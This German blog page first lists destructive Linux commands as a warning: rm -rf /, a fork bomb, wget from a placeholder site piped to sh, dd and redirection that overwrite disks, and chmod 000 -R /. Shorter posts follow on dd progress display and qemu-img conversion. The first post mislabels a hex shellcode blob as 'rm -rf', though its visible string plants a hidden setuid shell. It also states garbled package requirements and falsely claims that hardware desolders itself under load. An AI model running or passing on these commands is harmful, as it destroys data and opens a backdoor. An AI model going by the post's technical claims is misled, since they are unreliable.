Gef√§hrliche Befehle, Linux-Bom­ben


Inhaltsverzeichnis

Vorwort
1. rm
2. rm -rf in hexadezimal
3. Forkbomb
4. Copy und Paste
5. Device Null
6. Operatoren
7. WGET
8. dd
9. Weitere Befehle
Fazit
Quellen


Vorwort

Vorsicht, nur in virtuellen Maschinen testen! Als Testsystem hatte ich ein Ubuntu 16.04 in eine virtuelle Maschine installiert und mehrfach kopiert.


1. rm

Die bekannteste Linux-Bombe ist wohl „rm“, denn es wird oft vergessen den kompletten Pfad anzugeben, auch wenn man in einem Unterverzeichnis ist, denn dieser Befehl geht √ľber die Wurzel. Und es ist auch hoch bezahlten Admins schon passiert.

sudo rm -rf /

Dieser Befehl löscht ohne Nachfrage rekursiv alles ab Wurzelverzeichnis. Alles heißt, alle eingehängte Laufwerke und auch alle Netzlaufwerke.
Funktioniert todsicher! Aber nicht unter dem Ubuntu, dort wird eine Warnung ausgegeben.
Gegenmaßnahme
Ein Fallstrick kann „safe-rm“ sein. Es soll vor unbeabsichtigten l√∂schen helfen. Wer sich aber daran gew√∂hnt und auf einen anderen/neuen Rechner kein „safe-rm“ installiert hat, dann ist „rm“ ist seiner Gewalt nicht zu bremsen.
Ansonsten hilft auch kein beten.
Quelle
Weiteres in jedem Linux-Handbuch und jeder Unix-Befehlsreferenz.


2. rm -rf in hexadezimal

Ist genauso schädlich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Unter Ubuntu m√ľssten dazu die Pakete release und bikeshed installiert sein. Hat bei mir unter Ubuntu nicht funktioniert.


3. Forkbomb

Rechner auslasten mit Hintergrundaktivität und damit die CPU mal richtig heiß wird und sich selbst auslötet.

:(){ :|:& };:

Funktion die definiert wird, hier „:()“, ruft sich selbst als Hintergrundaktivit√§t auf und √ľbergibt sich wieder neu und so weiter, also eine typische Forkbomb. Funktioniert unter Ubuntu. B√∂sartig, es wird am Anfang nicht gleich wahrgenommen und Systemmonitore, wie „Conky“, zeigen durch die 100% ausgelastete CPU keine Ver√§nderungen an.
Gegenmaßnahme
Schutz gibt es, wenn die Datei „/etc/security/limits.conf“ dem entsprechend editiert wird.


4. Copy und Paste

Das Internet hilft bei vielen Gelegenheiten, aber ersetzt nicht das eigene Denken. Kopieren und Einf√ľgen kann gef√§hrlich sein. Hinter einer harmlosen Eingabe wie

echo "Hallo Welt!"

kann man auch

rm -rf /

verstecken.
Gegenmaßnahme
Vorsichtshalber in ein Editor einf√ľgen, hilft aber auch nicht immer :-)


5. Device Null

Das Gerät Null ist tatsächlich entstanden um Daten, die als unwichtig gelten, in das Nichts zu senden.
Doch folgende Befehlszeile löscht das gesamte /home-Verzeichnis des angemeldetem Benutzers.

mv ~ /dev/null

In Ubuntu ist daf√ľr keine Berechtigung vorhanden.
Gegenmaßnahme
Nachdenken, was soll eine Tilde, also das /home-Verzeichnis, mit Null zu tun haben!


6. Operatoren

Gerne nutze ich das Kommando „ls > Verzeichnis.txt“ um mir den Inhalt eines Verzeichnis als Textdatei abzulegen. Und bei √Ąnderungen lege ich mit dem doppelten Operanden „ls >> Verzeichnis.txt“ in der selben Datei am Ende nach.

ls > /dev/sda

Wird aber dieser Befehl ausgef√ľhrt √ľberschreibt er die genannte Festplatte mit sich selbst. Statt „ls“ k√∂nnte auch ein anderer Befehl genommen werden, die Auswirkung ist gleich, da hier der Operand den Fehler aus√ľbt. In Ubuntu ist daf√ľr keine Berechtigung vorhanden.
Gegenmaßnahme
Immer erst in einer virtuellen Maschine solche Kommandos pr√ľfen.


7. WGET

Ist dieselbe Bequemlichkeit wie kopieren und einf√ľgen. Ein Script wird im Netz zur Verf√ľgung gestellt und nun kann man es einfach durch die Shell ausf√ľhren, mit Verhinderung von wichtigen Informationen.

wget http://webseite.com -q | sh

Nur, ob die Beschreibung des Skriptes mit dem tats√§chlichem Inhalt √ľbereinstimmt, ist hier nicht plausibel erwiesen.
Hat in meiner Ubuntu-Installation nicht funktioniert.
Gegenmaßnahme
Durch „quiet“ ist es noch nicht mal m√∂glich die Gefahr zu bannen, zum Beispiel mit „Strg+c“.


8. dd

Dieses Kommando ist zum Kopieren gedacht. Hier ist Missbrauch m√∂glich, um Datentr√§ger zu √ľberschreiben.

dd if=/dev/urandom of=/dev/sda

An diesem Beispiel werden Zufallszahlen auf die gesamte Festplatte geschrieben und somit der vorhandene Inhalt gelöscht.
Gegenmaßnahme
Da hab ich es mit Nelson -> „Haha“.


9. Weitere Befehle die vorsichtig angewendet werden sollten.

Die nachfolgenden Kommandos habe ich nicht getestet, erscheinen aber logisch.

sudo chmod 000 -R /

Rechte werden rekursiv entzogen oder keine erteilt wie man¬īs sieht. Daten bleiben aber erhalten.
Mit umask wären sicherlich auch solche Spielchen möglich.

touch root
sudo chattr +i root

Datei mit +i unveränderlich setzen

sudo chattr -i root

Attribut wieder entfernen


10. Fazit

Das sind wohl einige der bekanntesten Fallgruben. Trotzdem sollte bei angebotener Hilfe das eigene Denken die erste H√ľrde sein und ein gesundes Ma√ü an Misstrauen, ob andere nicht auch Fl√ľchtigkeitsfehler machen, w√§re angebracht.


Quellen

Linux-Handbuch von Kofler, Gallileo-Verlag
Unix-Befehlsreferenzen im Netz
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos

Fortschrittsanzeige bei Festplatte löschen oder kopieren oder beschreiben durch dd oder dcfldd oder pv


Inhaltsverzeichnis

1. √úberblick
2. Laufwerks√ľbersicht
3. Der Befehl „dd“
4. Erste Alternative „dcfldd“
5. Zweite Alternative „pv“
6. Allgemeine Hinweise


1. √úberblick

Aus Sicherheitsgr√ľnden, erst einmal einen √úberblick √ľber den Rechner verschaffen, k√∂nnte ja auch eine externe Konsole sein oder ein virtuelles System.

inxi -F

Jetzt pr√ľfen ob die angezeigten Laufwerke auch das zu bearbeitende enth√§lt, beispielsweise:

ID-3: USB /dev/sdc model: myUSB-Stick size: 7.8GB

2. Laufwerks√ľbersicht

Alternativ kann auch mit nur zwei Zeichen „df“ die Laufwerks√ľbersicht geholt werden.


3. Der Befehl „dd“

dd

ist in den

coreutils

enthalten.
Die dd-Progressionsanzeige ist die komfortabelste mit Anzeige:

  1. der einzelnen abgearbeiteten Bytes
  2. der Anzeige in Megabyte und Mebibyte oder GB+GiB oder TB+TiB
  3. den detaillierten Vorgang
  4. der Gesamtlaufzeit in Sekunden
  5. der Arbeitsgeschwindigkeit
sudo dd if=/dev/zero of=/dev/sdc status=progress
...
130458112 bytes (130MB, 124 MiB) copied, 28,0005 s, 4,7 MB/s
...
15257601+0 Datensätze ein
15257600+0 Datensätze aus
7811891200 bytes (7,8 GB, 7,3 GiB) copied, 2948,42 s, 2,6 MB/s

4. Erste Alternative „dcfldd“

Dieser Befehl muss unter Ubuntu 16.04 nachinstalliert werden. Installierte Größe von 128 kB.

sudo apt install dcfldd

Beispiel

sudo dcfldd if=/dev/zero of=/dev/sdc
...
1536 blocks (48Mb) written
...
238336 blocks (7448Mb) written.
238401+0 records in
238400+0 records out

Achtung, die Anzeige ist zur Zeit auf die Einheit von Mb begrenzt, also Gb und Tb werden auch in Mb angezeigt.


5. Zweite Alternative „pv“

Dieser Befehl muss unter Ubuntu 16.04 nachinstalliert werden. Installierte Größe von 170 kB.
pv, steht f√ľr Pipe Viewer, kann von einem anderem ausgef√ľhrtem Befehl den Datenfluss anzeigen. Also w√§hrend des L√∂schens, Kopierens, beschreiben, entpacken, packen und weiteren Datenfl√ľssen von Dateien und Datentr√§gern.

Beispiel der Schreibgeschwindigkeit des Arbeitsspeichers

pv /dev/zero > /dev/null
26GiB 0:00:15 [9,03GiB/s] [  < =>    ]

Ergebnis ist also ein DDR3-1333-Speicher im Single-Channel, so einfach.
Achtung, besonderer Hinweis f√ľr dieses Beispiel, bitte beenden Sie den Vorgang nach wenigen Minuten mit Strg+C, ansonsten d√ľrften Sie eine neue Hauptplatine und neuen Arbeitsspeicher kaufen, da sich diese nach gewisser Zeit durch √ľberhitzen selbst ausl√∂ten.


Allgemeine Hinweise

Je länger die oben genannte Befehle arbeiten oder der Vorgang dauert, um sehr mehr erhitzt sich das Medium und damit sinkt auch die Arbeitsgeschwindigkeit.

Beidseitiger Wechsel QEMU und VirtualBox


Inhaltsverzeichnis

Konvertierung
Folgende Formate können konvertiert werden
Ein typisches Beispiel f√ľr eine Konvertierung
Der Befehl im Einzelnem
Links


Nun hatte ich schon qemu vorgestellt. Trotzdem kann es vorkommen das man die VirtualBox vorzieht.
Um die Festplatten-Abbilder nicht neu zu erstellen, kann man diese in beide Richtungen konvertieren.

Wobei qemu als, meiner Meinung nach, das bessere und native Programm mehr Formate verwalten kann, als VirtualBox. Denn qemu lädt auch die von der VirtualBox erstellten Abbilder. VirtualBox kann aber die Formate die ich mit qemu erstellt habe, nicht laden.


Konvertierung

Der Befehl

qemu-img convert [Optionen]

Die Hilfe zu diesem Befehl.

qemu-img convert -h

Diese Formate können konvertiert werden.

parallels, rbd, raw, quorum, null-aio, null-co, bochs, vhdx, blkverify, file, tftp, ftp, ftps, https, http, dmg, host_cdrom, blkdebug, iscsi, host_device, qcow, sheepdog, vpc, qed, nbd, qcow2, cloop, vdi, vvfat, vmdk

Also es bleiben kaum noch W√ľnsche offen.


Ein typisches Beispiel f√ľr eine Konvertierung

name@name-pc:~$ qemu-img convert -O vdi ubuntu16-04.raw ubuntu16-04.vdi

Der Befehl im Einzelnem

Konvertiere ein Festplattenabbild

qemu-img convert

Das gro√üe „O“ steht f√ľr „output format“, also das zu Zielformat.

-O

Das Zielformat ist ein VirtualBox-Format und steht vermutlich f√ľr „virtual device image“.

vdi

Diese Rohdatei ist die Quelldatei der Konvertierung.

ubuntu16-04.raw

Nun wird die Zieldatei angegebnen. Hier im selbigen Verzeichnis.

ubuntu16-04.vdi

Angenehmer Nebeneffekt, die Zieldatei schrumpft auf ihre wirklich benutzte Größe.
Die Xubuntu16-04.raw schrumpfte von 8GB auf die Xubunbtu16-04.vdi mit 4,4GB. Die Schrumpfung wurde jedes mal erzeugt.


Links

https://www.dinotools.de/2011/07/26/qemu-vhd-dateien-in-ein-anderes-format-konvertieren/
https://duckduckgo.com/?q=qemu-img+convert&t=canonical&ia=images

Nicht verf√ľgbare Adresse
Die Adresse http://qemu-buch.de/ war beim erstellen diese Beitrages leider nicht erreichbar.
Ebenfalls gibt es unter https://de.wikibooks.org/wiki/ noch immer kein qemu-Buch, als wer sich verewigen möchte, hat hier noch eine Möglichkeit.